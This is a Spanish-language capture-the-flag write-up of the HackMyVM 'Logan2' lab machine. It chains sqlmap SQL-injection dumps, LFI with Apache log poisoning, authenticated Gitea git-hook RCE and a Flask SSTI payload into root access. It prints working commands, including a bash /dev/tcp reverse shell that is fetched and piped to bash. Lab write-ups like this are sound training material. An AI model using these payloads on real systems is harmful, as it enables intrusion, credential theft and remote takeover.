HackMyVM - Logan2 - Writeup

Publicado 15/12/2023 Actualizado 16/12/2023

Por Lukas Pinto (Kanekik) 6 min de lectura

Reconocimiento

Escaneo de puertos

Como ya es de costumbre aplicamos un escaneo con nmap para descubrir puertos y servicios expuestos en la máquina víctima.

y como podemos observar están los puertos 22,80 y 3000 abiertos.

Escaneo de servicios

Una vez obtenidos los puertos se puede hacer un escaneo más exhaustivo para obtener información sobre los servicios que corren en dichos puertos.

nmap -p22,80,3000 -sCV -oN targeted 192.168.1.140

Según el resultado, podemos rescatar lo siguiente, el puerto 22 probablemente no contenga vulnerabilidades dado que es una versión ‘reciente’ de ssh y los puertos 80 y 3000 pertenecen a servicios web.

Enumeración web

Primer Vistaso a gitea

Examinando los servicios primero entro al del puerto 3000 y me encuentro lo siguiente.

Correponde a Gitea y su versión es la 1.12.5.

Y existe una vulnerabilidad, pero se necesita estar autenticado para poder explotarla. Por lo que intento enumerar repositorios publicos, usuario, repositorios privados aplicando fuzzing, ingresar al panel de registro, etc. Y nada, al parecer está configurado para que sea necesario credenciales para acceder a este.

Puerto 80 (SQL Injection)

Por lo que ahora voy al puerto 80 y reviso lo que hay, además de enumerar directorios.

Explotación de SQLi Time Based

En base a estos directorios encontrados comienzo a revisar y encuentro que existe un script que se está llamando en el index.html

Parece que se está guardando nuestro UserAgent a través de una petición post hacia /save-user-agent.php. Por lo que se me ocurre fuzzear en base a caracteres especiales, para ver si este parámetro es vulnerable a algún tipo de injección o comando.

Ya que al colocar una utilizar una comilla el servidor mandó un mensaje de error 500 puede ser una injección sql, por ende pruebo manualmente injecciones pero no obtengo ningún resultado. Pero para enumerar mejor esta posible vulnerabilidad prefiero utilizar sqlmap, ya que manualmente puedo pasar por alto algo.

sqlmap --url [http://192.168.1.140/save-user-agent.php](http://192.168.1.140/save-user-agent.php) --method post --data '{"user_agent":"param"}' --batch
Como podemos ver es vulnerable una Injección SQL time based, dado esto comienzo dumpear bases de datos, tablas, columnas y datos.
sqlmap --url [http://192.168.1.140/save-user-agent.php](http://192.168.1.140/save-user-agent.php) --method post --data '{"user_agent":"param"}' --batch --dbs para ver las bases de datos.
sqlmap --url [http://192.168.1.140/save-user-agent.php](http://192.168.1.140/save-user-agent.php) --method post --data '{"user_agent":"param"}' --batch -D logan -tables para ver tablas de la base de datos.
sqlmap --url [http://192.168.1.140/save-user-agent.php](http://192.168.1.140/save-user-agent.php) --method post --data '{"user_agent":"param"}' --batch -D logan -T users -columns para ver columnas de la tabla.
Al parecer no hay contraseñas pero voy a ver los datos igualmente para ver si hay algo interesante.
sqlmap --url [http://192.168.1.140/save-user-agent.php](http://192.168.1.140/save-user-agent.php) --method post --data '{"user_agent":"param"}' --batch -D logan -T users -C user,email -dump

Estos pasos pueden ser tomados como ejemplo de como explotar una SQLi con sqlmap.

Encontramos un email del usuario logan y este contiene un subdominio, lo agrego al /etc/hosts para ver si resuelve a alguna pagina distinta, logro ingresar al siguiente sitio web.

Explotación de LFI

Explorando un poco el dominio encontrado, encuentro lo siguiente en el código fuente.

Al parecer existe una ruta /photos-website-logan.php?photo=archivo, esto puede ser un LFI, pero al momento de probar no funciona cargar el /etc/passwd. Para ver si puedo bypassear esta restricción utilizo un directory path traversal.

Y funciona, después de esto intento utilizar wrappers de base64 para cargar contenido de los archivo .php pero no se puede, por lo que intento leer otros archivos y los logs de la máquina, en especifico los de apache.

Con esto puedo intentar un log poisoning pero al momento de utilizar funciones como system, exec, shell_exec, etc no funcionan, debido a esto reviso el infophp() para ver cuales funciones puedo utilizar.

disable_functions y lectura de archivos

Parece que no podemos ejecutar comandos, pero aún podemos leer archivos, por lo que se me ocurre utilizar funciones como include la cual permite leer archivos php y además utilizar wrappers junto a esta funcion para leer archivos .php.

Primero reviso donde se puede ubicar el directorio del servidor web, revisando el archivo 000-default.conf.

El directorio donde se ubican los archivs es /var/www/html, ahora bien si recordamos teniamos un config.php en el puerto 80 http://192.168.1.140/, cargo su contenido para ver si tiene algo interesante.

Primero genero un log con un user-agent malicioso.

Luego aprovecho lo anterior para cargar el archivo.

curl -s 'http://newsitelogan.logan.hmv/photos-website-logan.php?photo=../../../../../../var/log/apache2/access.log&cmd=php://filter/convert.base64-enconde/resource=/var/www/html/config.php'

Hay unas credenciales, las cuales pruebo en ssh sin exíto y luego en gitea y logro loguear como el usuario logan.

Explotación de gitea

Haciendo memoria, nosotros al principio habiamos visto que esta versión tiene un exploit que explota un RCE pero con autorización previa. Dado que ahora tenemos credenciales pruebo a correr dicho exploit.

Buscando como funciona dicha vulnerabilidad decido explotarla manualmente, para esto debemos hacer lo siguiente:

crear un repositorio con cualquier nombre.
Crear un Git Hook del tipo post-receive , el cual incluya el comando que quiero ejecutar.
Clonar repositorio en nuestra maquina y configurar el usuario logan.
Por último crear un archivo cualquiera y hacer la add , commit y push. mientras estamos en escucha por el puerto que indicamos en el hook.

y con esto estariamos dentro de la máquina víctima.

Escalada a root

Una vez dentro de la máquina hago un reconocimiento de esta, probando comandos tipicos y me percato que al ejecutar sudo -l obtengo lo siguiente.

Parece ser que podemos ejecutar como cualquier usuario una aplicación de flask la cual se monta en el puerto 8000, revisando la pagina que proporciona esta app no encuentro nada, pero si nos fijamos en el gitea hay un repositorio el cual contiene una app en flask.

SSTI (Server Side Template Injection)

Inspeccionando su codigo encuentro esto.

A través de la ruta /test se puede proporcionar un parametro name el cual se inyecta en el template y por ser flask se puede acontecer un SSTI.

Y efectivamente es vulnerable, por lo que inyecto un payload que me permita mandarme una reverse shell, recordar que este servicio lo estoy corriendo como usuario root.

Buscando en PayloadAllTheThings, eligo el siguiente payload.

{{ cycler.__init__.__globals__.os.popen('id').read() }}

Y estamos ejecutando comandos como root, para terminar me mando una reverse shell y acceder al sistema como dicho usuario.

Reverse shell como root

Para esto tenemos que hacerlo de una forma distinta a como se hace siempre en este caso me compartire un servicio http con python con este contenido en el index.html

  
#!/bin/bash
bash -i >& /dev/tcp/192.168.1.44/4444 0>&1

luego hago una peticion con curl y lo pipeo con un bash para que interprete el codigo del index.html, para en mi equipo estar en escucha en el puerto 4444 y con el servicio http compartiendo el archivo.

Y listo tendríamos acceso a la máquina víctima como root.

Existe otra forma escalar como root a traves del debugger de flask, pero eso ya se los dejo a ustedes.

HackMyVM

Esta entrada está licenciada bajo CC BY 4.0 por el autor.